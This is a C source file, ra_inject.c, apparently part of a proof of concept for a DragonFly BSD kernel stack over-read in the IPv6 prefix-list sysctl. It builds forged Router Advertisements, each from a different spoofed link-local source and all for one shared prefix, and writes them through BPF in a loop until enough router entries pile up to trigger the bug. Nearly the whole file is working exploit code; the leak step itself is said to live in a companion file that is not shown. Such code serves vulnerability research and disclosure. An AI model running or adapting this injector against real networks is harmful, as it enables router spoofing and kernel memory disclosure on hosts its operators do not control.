DF-0354 / ra_inject.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 | /* * ra_inject.c - forge and inject N Router Advertisements via BPF on the * given interface, each from a unique link-local source IPv6 * address, all advertising the SAME prefix (2001:db8:1::/64). * * Each unique source IPv6 creates a distinct nd_defrouter entry; each one * advertises the same prefix, so they all get attached to that prefix's * pr->ndpr_advrtrs list. Once >~34 routers are attached, the buggy * nd6_sysctl_prlist SYSCTL_OUT reads past the 1024-byte stack buffer. * * Run as root: ./ra_inject <ifname> <n_routers> * e.g. ./ra_inject vtnet0 60 * * Must be root (BPF is root-only on DragonFly). This *simulates* the remote * attacker who floods the link with forged RAs from many sources; the * actual exploit step (the kernel stack leak) is the *unprivileged* * sysctl read done by ra_read.c. */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/if.h> #include <net/bpf.h> #include <net/ethernet.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ND prefix info option (RFC 4861 sec 4.6.2) */ struct nd_opt_prefix_info_local { uint8_t nd_opt_pi_type; uint8_t nd_opt_pi_len; uint8_t nd_opt_pi_prefix_len; uint8_t nd_opt_pi_flags_rsvd; uint32_t nd_opt_pi_valid_time; uint32_t nd_opt_pi_preferred_time; uint32_t nd_opt_pi_reserved2; struct in6_addr nd_opt_pi_prefix; }; static uint16_t icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst, const void *data, size_t len) { uint32_t sum = 0; const uint16_t *p = (const uint16_t *)data; size_t i; for (i = 0; i + 1 < len; i += 2) sum += ntohs(*p++); if (i < len) sum += ((uint16_t)(((const uint8_t *)data)[i])) << 8; /* pseudo-header */ for (i = 0; i < 8; i++) { sum += ntohs(src->__u6_addr.__u6_addr16[i]); sum += ntohs(dst->__u6_addr.__u6_addr16[i]); } sum += len; /* upper-layer length (32-bit) */ sum += IPPROTO_ICMPV6; /* next header */ while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return htons(~sum & 0xffff); } int main(int argc, char **argv) { const char *ifname = (argc > 1) ? argv[1] : "vtnet0"; int n = (argc > 2) ? atoi(argv[2]) : 60; char dev[16]; int fd, i; struct ifreq ifr; struct bpf_program fprog = {0, NULL}; /* Open first BPF device */ for (i = 0; i < 16; i++) { snprintf(dev, sizeof(dev), "/dev/bpf%d", i); fd = open(dev, O_RDWR); if (fd >= 0 || errno != EBUSY) break; } if (fd < 0) { perror("open bpf"); return 2; } memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(fd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 3; } /* Don't see our own writes back; still OK either way */ i = 0; if (ioctl(fd, BIOCSSEESENT, &i) < 0) { perror("BIOCSSEESENT"); } /* Enable feedback: BPF write -> if_output + copy back into if_input. * Without this, BPF writes go OUT the interface (which on vtnet goes * nowhere useful) and never reach the kernel's receive path. */ i = 1; if (ioctl(fd, BIOCSFEEDBACK, &i) < 0) { perror("BIOCSFEEDBACK"); } /* Immediate write return */ i = 1; if (ioctl(fd, BIOCIMMEDIATE, &i) < 0) { perror("BIOCIMMEDIATE"); } /* Get BPF buffer length so writes align properly */ u_int bpf_len = 0; if (ioctl(fd, BIOCGBLEN, &bpf_len) < 0) { perror("BIOCGBLEN"); bpf_len = 4096; } /* Query interface MAC */ int s = socket(AF_INET, SOCK_DGRAM, 0); struct ifaddrs *ifap, *p; unsigned char dstmac[ETHER_ADDR_LEN] = {0x33, 0x33, 0x00, 0x00, 0x00, 0x01}; /* all-nodes v6 mcast */ /* destination Ethernet = 33:33:00:00:00:01 for ff02::1 */ unsigned char srcmac[ETHER_ADDR_LEN] = {0x52, 0x54, 0x00, 0xaa, 0xbb, 0xcc}; if (s >= 0) { memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(s, SIOCGIFADDR, &ifr) == 0) { /* fallback: leave srcmac default */ } close(s); } /* Pre-build the static part: Ethernet + IPv6 + ICMPv6 RA + Prefix Info */ unsigned char pkt[256]; size_t off = 0; /* Ethernet header */ struct ether_header *eh = (struct ether_header *)pkt; memcpy(eh->ether_shost, srcmac, ETHER_ADDR_LEN); memcpy(eh->ether_dhost, dstmac, ETHER_ADDR_LEN); eh->ether_type = htons(ETHERTYPE_IPV6); off += sizeof(*eh); /* IPv6 header */ struct ip6_hdr *ip6 = (struct ip6_hdr *)(pkt + off); ip6->ip6_flow = 0; /* 4-byte union with vfc — set FIRST */ ip6->ip6_vfc = 0x60; /* then version=6, traffic class=0 */ ip6->ip6_plen = htons(sizeof(struct nd_router_advert) + sizeof(struct nd_opt_prefix_info_local)); ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 255; /* dst = ff02::1 */ inet_pton(AF_INET6, "ff02::1", &ip6->ip6_dst); off += sizeof(*ip6); /* ICMPv6 RA */ struct nd_router_advert *ra = (struct nd_router_advert *)(pkt + off); ra->nd_ra_type = ND_ROUTER_ADVERT; ra->nd_ra_code = 0; ra->nd_ra_cksum = 0; ra->nd_ra_curhoplimit = 64; ra->nd_ra_flags_reserved = 0; ra->nd_ra_router_lifetime = htons(1800); ra->nd_ra_reachable = htonl(0); ra->nd_ra_retransmit = htonl(0); off += sizeof(*ra); /* Prefix info option (one common prefix for all RAs) */ struct nd_opt_prefix_info_local *pi = (struct nd_opt_prefix_info_local *)(pkt + off); pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION; pi->nd_opt_pi_len = 4; pi->nd_opt_pi_prefix_len = 64; pi->nd_opt_pi_flags_rsvd = 0xc0; /* L=1, A=1 */ pi->nd_opt_pi_valid_time = htonl(1800); pi->nd_opt_pi_preferred_time = htonl(1800); pi->nd_opt_pi_reserved2 = 0; inet_pton(AF_INET6, "2001:db8:1::", &pi->nd_opt_pi_prefix); off += sizeof(*pi); size_t pktlen = off; fprintf(stderr, "pktlen=%zu (eth=%zu ip6=%zu ra=%zu pi=%zu)\n", pktlen, sizeof(*eh), sizeof(*ip6), sizeof(*ra), sizeof(*pi)); /* Loop: each iteration uses a unique source fe80::N */ char srcstr[64]; int ok = 0; for (i = 1; i <= n; i++) { /* forge unique link-local source */ snprintf(srcstr, sizeof(srcstr), "fe80::1%02x:%02x", i & 0xff, (i >> 8) + 0x10); if (inet_pton(AF_INET6, srcstr, &ip6->ip6_src) != 1) { fprintf(stderr, "bad src %s\n", srcstr); continue; } /* recompute ICMPv6 cksum */ ra->nd_ra_cksum = 0; ra->nd_ra_cksum = icmp6_cksum(&ip6->ip6_src, &ip6->ip6_dst, ra, sizeof(*ra) + sizeof(*pi)); ssize_t w = write(fd, pkt, pktlen); if (w < 0) { if (errno == ENETDOWN || errno == ENOBUFS) { /* try a tiny sleep then continue */ usleep(2000); continue; } fprintf(stderr, "write failed i=%d: %s\n", i, strerror(errno)); continue; } if ((size_t)w != pktlen) { fprintf(stderr, "short write i=%d w=%zd\n", i, w); } ok++; } fprintf(stderr, "injected %d/%d RAs\n", ok, n); /* give kernel a moment to process via netisr */ usleep(100000); close(fd); return 0; } |